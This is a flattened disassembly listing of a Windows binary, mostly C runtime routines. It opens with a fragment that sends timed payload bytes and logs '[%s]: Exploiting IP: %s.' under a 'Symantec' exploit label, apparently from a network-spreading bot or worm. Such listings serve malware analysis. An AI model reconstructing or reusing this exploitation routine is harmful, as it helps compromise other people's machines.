___:0041B734j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_41B7C0 lea eax, [ebp-38h] push esi push eax call sub_41B960 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_4C9354 push 1 pop edi loc_41B7A0: ; CODE XREF: ___:0041B73Cj cmp edi, 3 jz short loc_41B7CE jmp loc_41B6FC ; --------------------------------------------------------------------------- loc_41B7AA: ; CODE XREF: ___:0041B73Aj lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_41B7CE loc_41B7C0: ; CODE XREF: ___:0041B6F6j ; ___:0041B752j ... push ebx call dword_4C939C xor eax, eax jmp loc_41B957 ; --------------------------------------------------------------------------- loc_41B7CE: ; CODE XREF: ___:0041B721j ; ___:0041B72Aj ... push esi lea eax, [ebp-16h] push 1 push eax push ebx call dword_4C9354 lea eax, [ebp-10h] push 1 push eax push ebx call sub_41B4FB mov esi, dword_427088 add esp, 0Ch mov edi, 3E8h push edi call esi lea eax, [ebp-18h] push 0 push eax push ebx call sub_41B4FB add esp, 0Ch push edi call esi lea eax, [ebp-10h] push 2 push eax push ebx call sub_41B4FB add esp, 0Ch push edi call esi and dword ptr [ebp-4], 0 mov edi, offset byte_4D960C push edi call sub_41B960 test eax, eax pop ecx jbe short loc_41B86E loc_41B831: ; CODE XREF: ___:0041B86Cj mov eax, [ebp-4] movsx eax, byte_4D960C[eax] push eax push offset dword_43A600 lea eax, [ebp-20h] push 3 push eax call sub_41C100 lea eax, [ebp-20h] push 0 push eax push ebx call sub_41B4FB add esp, 1Ch push 7Dh call esi inc dword ptr [ebp-4] push edi call sub_41B960 cmp [ebp-4], eax pop ecx jb short loc_41B831 loc_41B86E: ; CODE XREF: ___:0041B82Fj lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B4FB add esp, 0Ch push 0FA0h call esi push 2 pop edi loc_41B887: ; CODE XREF: ___:0041B89Ej lea eax, [ebp-14h] push 0 push eax push ebx call sub_41B4FB add esp, 0Ch push 12Ch call esi dec edi jnz short loc_41B887 mov edi, 7D0h push edi call esi lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B4FB add esp, 0Ch push edi call esi xor edi, edi lea eax, [ebp-14h] push edi push eax push ebx call sub_41B4FB add esp, 0Ch push 190h call esi mov dword ptr [ebp-4], 2 loc_41B8D8: ; CODE XREF: ___:0041B8F0j push 258h call esi lea eax, [ebp-0Ch] push edi push eax push ebx call sub_41B4FB add esp, 0Ch dec dword ptr [ebp-4] jnz short loc_41B8D8 push ebx call dword_4C939C lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-288h] push 1FFh push eax call sub_41C100 push edi lea eax, [ebp-288h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409862 mov eax, [ebp+0B0h] add esp, 28h shl eax, 6 inc dword_431810[eax] push 1 lea eax, dword_431810[eax] pop eax loc_41B957: ; CODE XREF: ___:0041B7C9j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B960 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Bp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B980 loc_41B96C: ; CODE XREF: sub_41B960+19j mov al, [ecx] inc ecx test al, al jz short loc_41B9B3 test ecx, 3 jnz short loc_41B96C add eax, 0 loc_41B980: ; CODE XREF: sub_41B960+Aj ; sub_41B960+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B980 mov eax, [ecx-4] test al, al jz short loc_41B9D1 test ah, ah jz short loc_41B9C7 test eax, 0FF0000h jz short loc_41B9BD test eax, 0FF000000h jz short loc_41B9B3 jmp short loc_41B980 ; --------------------------------------------------------------------------- loc_41B9B3: ; CODE XREF: sub_41B960+11j ; sub_41B960+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B9BD: ; CODE XREF: sub_41B960+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B9C7: ; CODE XREF: sub_41B960+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B9D1: ; CODE XREF: sub_41B960+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B960 endp ; =============== S U B R O U T I N E ======================================= sub_41B9DB proc near ; CODE XREF: sub_4010AB+64p ; sub_401AC7+5856p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B9F0 or eax, 0FFFFFFFFh jmp short loc_41BA2A ; --------------------------------------------------------------------------- loc_41B9F0: ; CODE XREF: sub_41B9DB+Ej test al, 83h jz short loc_41BA28 push esi call sub_41E32B push esi mov edi, eax call sub_41E2C5 push dword ptr [esi+10h] call sub_41E212 add esp, 0Ch test eax, eax jge short loc_41BA16 or edi, 0FFFFFFFFh jmp short loc_41BA28 ; --------------------------------------------------------------------------- loc_41BA16: ; CODE XREF: sub_41B9DB+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41BA28 push eax call sub_41BA31 and dword ptr [esi+1Ch], 0 pop ecx loc_41BA28: ; CODE XREF: sub_41B9DB+17j ; sub_41B9DB+39j ... mov eax, edi loc_41BA2A: ; CODE XREF: sub_41B9DB+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B9DB endp ; =============== S U B R O U T I N E ======================================= sub_41BA31 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40A91C+B1p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41BA5E push esi call sub_41E477 pop ecx test eax, eax push esi jz short loc_41BA50 push eax call sub_41E4A2 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41BA50: ; CODE XREF: sub_41BA31+13j push 0 push dword_4DADA0 nop call near ptr 27D0000h loc_41BA5E: ; CODE XREF: sub_41BA31+7j pop esi retn sub_41BA31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA60 proc near ; CODE XREF: sub_4010AB+45p ; ___:0040FA57p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41BA84 xor eax, eax jmp loc_41BB2D ; --------------------------------------------------------------------------- loc_41BA84: ; CODE XREF: sub_41BA60+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41BA97 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41BAA3 ; --------------------------------------------------------------------------- loc_41BA97: ; CODE XREF: sub_41BA60+2Dj mov [ebp+arg_C], 1000h jmp short loc_41BAA3 ; --------------------------------------------------------------------------- loc_41BAA0: ; CODE XREF: sub_41BA60+C4j mov ecx, [ebp+arg_0] loc_41BAA3: ; CODE XREF: sub_41BA60+35j ; sub_41BA60+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41BAD5 mov eax, [esi+4] test eax, eax jz short loc_41BAD5 cmp ecx, eax mov edi, ecx jb short loc_41BABA mov edi, eax loc_41BABA: ; CODE XREF: sub_41BA60+56j push edi push dword ptr [esi] push ebx call sub_41CAB0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41BB20 ; --------------------------------------------------------------------------- loc_41BAD5: ; CODE XREF: sub_41BA60+49j ; sub_41BA60+50j cmp ecx, [ebp+arg_C] jb short loc_41BB08 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41BAEB xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41BAEB: ; CODE XREF: sub_41BA60+80j push eax push ebx push dword ptr [esi+10h] call sub_41F051 add esp, 0Ch test eax, eax jz short loc_41BB32 cmp eax, 0FFFFFFFFh jz short loc_41BB38 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41BB20 ; --------------------------------------------------------------------------- loc_41BB08: ; CODE XREF: sub_41BA60+78j push esi call sub_41EF78 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41BB3C mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41BB20: ; CODE XREF: sub_41BA60+73j ; sub_41BA60+A6j cmp [ebp+arg_0], 0 jnz loc_41BAA0 mov eax, [ebp+arg_8] loc_41BB2D: ; CODE XREF: sub_41BA60+1Fj ; sub_41BA60+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BB32: ; CODE XREF: sub_41BA60+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41BB3C ; --------------------------------------------------------------------------- loc_41BB38: ; CODE XREF: sub_41BA60+9Fj or dword ptr [esi+0Ch], 20h loc_41BB3C: ; CODE XREF: sub_41BA60+B2j ; sub_41BA60+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41BB2D sub_41BA60 endp ; =============== S U B R O U T I N E ======================================= sub_41BB48 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41D743+35p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_41BB63 push [esp+10h+arg_4] call sub_41BC9B pop ecx jmp loc_41BC63 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB48+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_41BB79 push ebx call sub_41BA31 pop ecx loc_41BB72: ; CODE XREF: sub_41BB48+114j xor eax, eax jmp loc_41BC63 ; --------------------------------------------------------------------------- loc_41BB79: ; CODE XREF: sub_41BB48+21j ; sub_41BB48+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BC44 push ebx call sub_41E477 mov ebp, eax pop ecx test ebp, ebp jz loc_41BC21 cmp esi, dword_43A67C ja short loc_41BBE1 push esi push ebx push ebp call sub_41EC82 add esp, 0Ch test eax, eax jz short loc_41BBB0 mov edi, ebx jmp short loc_41BBD9 ; --------------------------------------------------------------------------- loc_41BBB0: ; CODE XREF: sub_41BB48+62j push esi call sub_41E7CD mov edi, eax pop ecx test edi, edi jz short loc_41BBE1 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BBC7 mov eax, esi loc_41BBC7: ; CODE XREF: sub_41BB48+7Bj push eax push ebx push edi call sub_41CAB0 push ebx push ebp call sub_41E4A2 add esp, 14h loc_41BBD9: ; CODE XREF: sub_41BB48+66j test edi, edi jnz loc_41BC61 loc_41BBE1: ; CODE XREF: sub_41BB48+53j ; sub_41BB48+73j test esi, esi jnz short loc_41BBE8 push 1 pop esi loc_41BBE8: ; CODE XREF: sub_41BB48+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DADA0 nop call near ptr 27E0000h mov edi, eax test edi, edi jz short loc_41BC44 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BC0D mov eax, esi loc_41BC0D: ; CODE XREF: sub_41BB48+C1j push eax push ebx push edi call sub_41CAB0 push ebx push ebp call sub_41E4A2 add esp, 14h jmp short loc_41BC40 ; --------------------------------------------------------------------------- loc_41BC21: ; CODE XREF: sub_41BB48+47j test esi, esi jnz short loc_41BC28 push 1 pop esi loc_41BC28: ; CODE XREF: sub_41BB48+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push dword_4DADA0 nop call near ptr 2880000h mov edi, eax loc_41BC40: ; CODE XREF: sub_41BB48+D7j test edi, edi jnz short loc_41BC61 loc_41BC44: ; CODE XREF: sub_41BB48+36j ; sub_41BB48+B9j cmp dword_4D9798, 0 jz short loc_41BC61 push esi call sub_41F247 test eax, eax pop ecx jnz loc_41BB79 jmp loc_41BB72 ; --------------------------------------------------------------------------- loc_41BC61: ; CODE XREF: sub_41BB48+93j ; sub_41BB48+FAj ... mov eax, edi loc_41BC63: ; CODE XREF: sub_41BB48+16j ; sub_41BB48+2Cj pop edi pop esi pop ebp pop ebx retn sub_41BB48 endp ; =============== S U B R O U T I N E ======================================= sub_41BC68 proc near ; CODE XREF: sub_41BC88+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F3D2 test eax, eax jnz short loc_41BC72 retn ; --------------------------------------------------------------------------- loc_41BC72: ; CODE XREF: sub_41BC68+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F262 add esp, 10h retn sub_41BC68 endp ; =============== S U B R O U T I N E ======================================= sub_41BC88 proc near ; CODE XREF: sub_4010AB+18p ; sub_401AC7+582Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BC68 add esp, 0Ch retn sub_41BC88 endp ; =============== S U B R O U T I N E ======================================= sub_41BC9B proc near ; CODE XREF: sub_4010AB+6p ; sub_40A91C+63p ... arg_0 = dword ptr 4 push dword_4D9798 push [esp+4+arg_0] call sub_41BCAD pop ecx pop ecx retn sub_41BC9B endp ; =============== S U B R O U T I N E ======================================= sub_41BCAD proc near ; CODE XREF: sub_41BC9B+Ap ; sub_41D735+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BCD6 loc_41BCB4: ; CODE XREF: sub_41BCAD+27j push [esp+arg_0] call sub_41BCD9 test eax, eax pop ecx jnz short locret_41BCD8 cmp [esp+arg_4], eax jz short locret_41BCD8 push [esp+arg_0] call sub_41F247 test eax, eax pop ecx jnz short loc_41BCB4 loc_41BCD6: ; CODE XREF: sub_41BCAD+5j xor eax, eax locret_41BCD8: ; CODE XREF: sub_41BCAD+13j ; sub_41BCAD+19j retn sub_41BCAD endp ; =============== S U B R O U T I N E ======================================= sub_41BCD9 proc near ; CODE XREF: sub_41BCAD+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_43A67C ja short loc_41BCF1 push esi call sub_41E7CD test eax, eax pop ecx jnz short loc_41BD0D loc_41BCF1: ; CODE XREF: sub_41BCD9+Bj test esi, esi jnz short loc_41BCF8 push 1 pop esi loc_41BCF8: ; CODE XREF: sub_41BCD9+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DADA0 call near ptr 27E0000h nop loc_41BD0D: ; CODE XREF: sub_41BCD9+16j pop esi retn sub_41BCD9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BD10 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BD63 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BD57 neg ecx and ecx, 3 jz short loc_41BD39 sub edx, ecx loc_41BD33: ; CODE XREF: sub_41BD10+27j mov [edi], al inc edi dec ecx jnz short loc_41BD33 loc_41BD39: ; CODE XREF: sub_41BD10+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BD57 rep stosd test edx, edx jz short loc_41BD5D loc_41BD57: ; CODE XREF: sub_41BD10+18j ; sub_41BD10+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BD57 loc_41BD5D: ; CODE XREF: sub_41BD10+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BD63: ; CODE XREF: sub_41BD10+Aj mov eax, [esp+arg_0] retn sub_41BD10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BD70 proc near ; CODE XREF: ___:004016BAp ; ___:004016D6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41BDF3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BD94 shr ecx, 2 jnz short loc_41BE01 jmp short loc_41BDB5 ; --------------------------------------------------------------------------- loc_41BD94: ; CODE XREF: sub_41BD70+1Bj ; sub_41BD70+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41BDC2 test al, al jz short loc_41BDCA test esi, 3 jnz short loc_41BD94 mov ebx, ecx shr ecx, 2 jnz short loc_41BE01 loc_41BDB0: ; CODE XREF: sub_41BD70+8Fj and ebx, 3 jz short loc_41BDC2 loc_41BDB5: ; CODE XREF: sub_41BD70+22j ; sub_41BD70+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41BDEE dec ebx jnz short loc_41BDB5 loc_41BDC2: ; CODE XREF: sub_41BD70+2Bj ; sub_41BD70+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41BDCA: ; CODE XREF: sub_41BD70+2Fj test edi, 3 jz short loc_41BDE4 loc_41BDD2: ; CODE XREF: sub_41BD70+72j mov [edi], al inc edi dec ecx jz loc_41BE66 test edi, 3 jnz short loc_41BDD2 loc_41BDE4: ; CODE XREF: sub_41BD70+60j mov ebx, ecx shr ecx, 2 jnz short loc_41BE57 loc_41BDEB: ; CODE XREF: sub_41BD70+7Fj ; sub_41BD70+F4j mov [edi], al inc edi loc_41BDEE: ; CODE XREF: sub_41BD70+4Dj dec ebx jnz short loc_41BDEB pop ebx pop esi loc_41BDF3: ; CODE XREF: sub_41BD70+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BDF9: ; CODE XREF: sub_41BD70+A9j ; sub_41BD70+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41BDB0 loc_41BE01: ; CODE XREF: sub_41BD70+20j ; sub_41BD70+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41BDF9 test dl, dl jz short loc_41BE4B test dh, dh jz short loc_41BE41 test edx, 0FF0000h jz short loc_41BE37 test edx, 0FF000000h jnz short loc_41BDF9 mov [edi], edx jmp short loc_41BE4F ; --------------------------------------------------------------------------- loc_41BE37: ; CODE XREF: sub_41BD70+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41BE4F ; --------------------------------------------------------------------------- loc_41BE41: ; CODE XREF: sub_41BD70+B1j and edx, 0FFh mov [edi], edx jmp short loc_41BE4F ; --------------------------------------------------------------------------- loc_41BE4B: ; CODE XREF: sub_41BD70+ADj xor edx, edx mov [edi], edx loc_41BE4F: ; CODE XREF: sub_41BD70+C5j ; sub_41BD70+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41BE61 loc_41BE57: ; CODE XREF: sub_41BD70+79j xor eax, eax loc_41BE59: ; CODE XREF: sub_41BD70+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41BE59 loc_41BE61: ; CODE XREF: sub_41BD70+E5j and ebx, 3 jnz short loc_41BDEB loc_41BE66: ; CODE XREF: sub_41BD70+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BD70 endp ; =============== S U B R O U T I N E ======================================= sub_41BE6E proc near ; CODE XREF: sub_41BEF9+4p ; sub_4246FC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41BE76: ; CODE XREF: sub_41BE6E+34j cmp dword_43A88C, 1 jle short loc_41BE8E movzx eax, byte ptr [edi] push 8 push eax call sub_41F44A pop ecx pop ecx jmp short loc_41BE9D ; --------------------------------------------------------------------------- loc_41BE8E: ; CODE XREF: sub_41BE6E+Fj movzx eax, byte ptr [edi] mov ecx, off_43A680 mov al, [ecx+eax*2] and eax, 8 loc_41BE9D: ; CODE XREF: sub_41BE6E+1Ej test eax, eax jz short loc_41BEA4 inc edi jmp short loc_41BE76 ; --------------------------------------------------------------------------- loc_41BEA4: ; CODE XREF: sub_41BE6E+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41BEB4 cmp esi, 2Bh jnz short loc_41BEB8 loc_41BEB4: ; CODE XREF: sub_41BE6E+3Fj movzx esi, byte ptr [edi] inc edi loc_41BEB8: ; CODE XREF: sub_41BE6E+44j xor ebx, ebx loc_41BEBA: ; CODE XREF: sub_41BE6E+7Bj cmp dword_43A88C, 1 jle short loc_41BECF push 4 push esi call sub_41F44A pop ecx pop ecx jmp short loc_41BEDA ; --------------------------------------------------------------------------- loc_41BECF: ; CODE XREF: sub_41BE6E+53j mov eax, off_43A680 mov al, [eax+esi*2] and eax, 4 loc_41BEDA: ; CODE XREF: sub_41BE6E+5Fj test eax, eax jz short loc_41BEEB lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41BEBA ; --------------------------------------------------------------------------- loc_41BEEB: ; CODE XREF: sub_41BE6E+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41BEF4 neg eax loc_41BEF4: ; CODE XREF: sub_41BE6E+82j pop edi pop esi pop ebp pop ebx retn sub_41BE6E endp ; =============== S U B R O U T I N E ======================================= sub_41BEF9 proc near ; CODE XREF: ___:00401524p ; sub_401AC7+711p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BE6E pop ecx retn sub_41BEF9 endp ; --------------------------------------------------------------------------- mov eax, off_43A64C test eax, eax jz short loc_41BF0F call eax ; sub_41CEB4 loc_41BF0F: ; CODE XREF: ___:0041BF0Bj push offset dword_42902C push offset dword_429018 call sub_41BFEC push offset dword_429014 push offset dword_429000 call sub_41BFEC add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41BF53 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41BF42 proc near ; CODE XREF: sub_41E1C9+1Cp ; sub_42249C+2246p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41BF53 add esp, 0Ch retn sub_41BF42 endp ; =============== S U B R O U T I N E ======================================= sub_41BF53 proc near ; CODE XREF: ___:0041BF39p ; sub_41BF42+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4D975C, edi jnz short loc_41BF70 push [esp+4+arg_0] nop call near ptr 2730D53h push eax nop call near ptr 273066Ch loc_41BF70: ; CODE XREF: sub_41BF53+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4D9758, edi mov byte_4D9754, bl jnz short loc_41BFC4 mov eax, dword_4DADB4 test eax, eax jz short loc_41BFB3 mov ecx, dword_4DADB0 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41BFB2 loc_41BF9F: ; CODE XREF: sub_41BF53+5Dj mov eax, [esi] test eax, eax jz short loc_41BFA7 call eax loc_41BFA7: ; CODE XREF: sub_41BF53+50j sub esi, 4 cmp esi, dword_4DADB4 jnb short loc_41BF9F loc_41BFB2: ; CODE XREF: sub_41BF53+4Aj pop esi loc_41BFB3: ; CODE XREF: sub_41BF53+3Cj push offset dword_429038 push offset dword_429030 call sub_41BFEC pop ecx pop ecx loc_41BFC4: ; CODE XREF: sub_41BF53+33j push offset dword_429044 push offset dword_42903C call sub_41BFEC pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41BFEA push [esp+4+arg_0] mov dword_4D975C, edi nop call near ptr 77E75CB5h loc_41BFEA: ; CODE XREF: sub_41BF53+85j pop edi retn sub_41BF53 endp ; =============== S U B R O U T I N E ======================================= sub_41BFEC proc near ; CODE XREF: ___:0041BF19p ; ___:0041BF28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41BFF1: ; CODE XREF: sub_41BFEC+16j cmp esi, [esp+4+arg_4] jnb short loc_41C004 mov eax, [esi] test eax, eax jz short loc_41BFFF call eax loc_41BFFF: ; CODE XREF: sub_41BFEC+Fj add esi, 4 jmp short loc_41BFF1 ; --------------------------------------------------------------------------- loc_41C004: ; CODE XREF: sub_41BFEC+9j pop esi retn sub_41BFEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C006 proc near ; CODE XREF: ___:004013ADp ; ___:004014B3p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F5D4 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C046 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C053 ; --------------------------------------------------------------------------- loc_41C046: ; CODE XREF: sub_41C006+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F4BF pop ecx pop ecx loc_41C053: ; CODE XREF: sub_41C006+3Ej mov eax, esi pop esi leave retn sub_41C006 endp ; =============== S U B R O U T I N E ======================================= sub_41C058 proc near ; CODE XREF: ___:00401266p ; sub_401AC7+318Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A630, eax retn sub_41C058 endp ; =============== S U B R O U T I N E ======================================= sub_41C062 proc near ; CODE XREF: ___:loc_401376p ; ___:loc_4016A1p ... mov eax, dword_43A630 imul eax, 343FDh add eax, 269EC3h mov dword_43A630, eax sar eax, 10h and eax, 7FFFh retn sub_41C062 endp ; =============== S U B R O U T I N E ======================================= sub_41C080 proc near ; CODE XREF: ___:0040134Bp ; sub_401AC7+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41C0FA mov dh, [ecx+1] test dh, dh jz short loc_41C0E7 loc_41C098: ; CODE XREF: sub_41C080+52j ; sub_41C080+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41C0BA test al, al jz short loc_41C0B4 loc_41C0A9: ; CODE XREF: sub_41C080+32j mov al, [esi] inc esi loc_41C0AC: ; CODE XREF: sub_41C080+3Fj cmp al, dl jz short loc_41C0BA test al, al jnz short loc_41C0A9 loc_41C0B4: ; CODE XREF: sub_41C080+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C0BA: ; CODE XREF: sub_41C080+23j ; sub_41C080+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41C0AC lea edi, [esi-1] loc_41C0C4: ; CODE XREF: sub_41C080+63j mov ah, [ecx+2] test ah, ah jz short loc_41C0F3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41C098 mov al, [ecx+3] test al, al jz short loc_41C0F3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41C0C4 jmp short loc_41C098 ; --------------------------------------------------------------------------- loc_41C0E7: ; CODE XREF: sub_41C080+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C726 ; --------------------------------------------------------------------------- loc_41C0F3: ; CODE XREF: sub_41C080+49j ; sub_41C080+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41C0FA: ; CODE XREF: sub_41C080+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41C080 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C100 proc near ; CODE XREF: ___:00401338p ; sub_401AC7+1C08p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F5D4 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C13F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C14C ; --------------------------------------------------------------------------- loc_41C13F: ; CODE XREF: sub_41C100+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F4BF pop ecx pop ecx loc_41C14C: ; CODE XREF: sub_41C100+3Dj mov eax, esi pop esi leave retn sub_41C100 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based 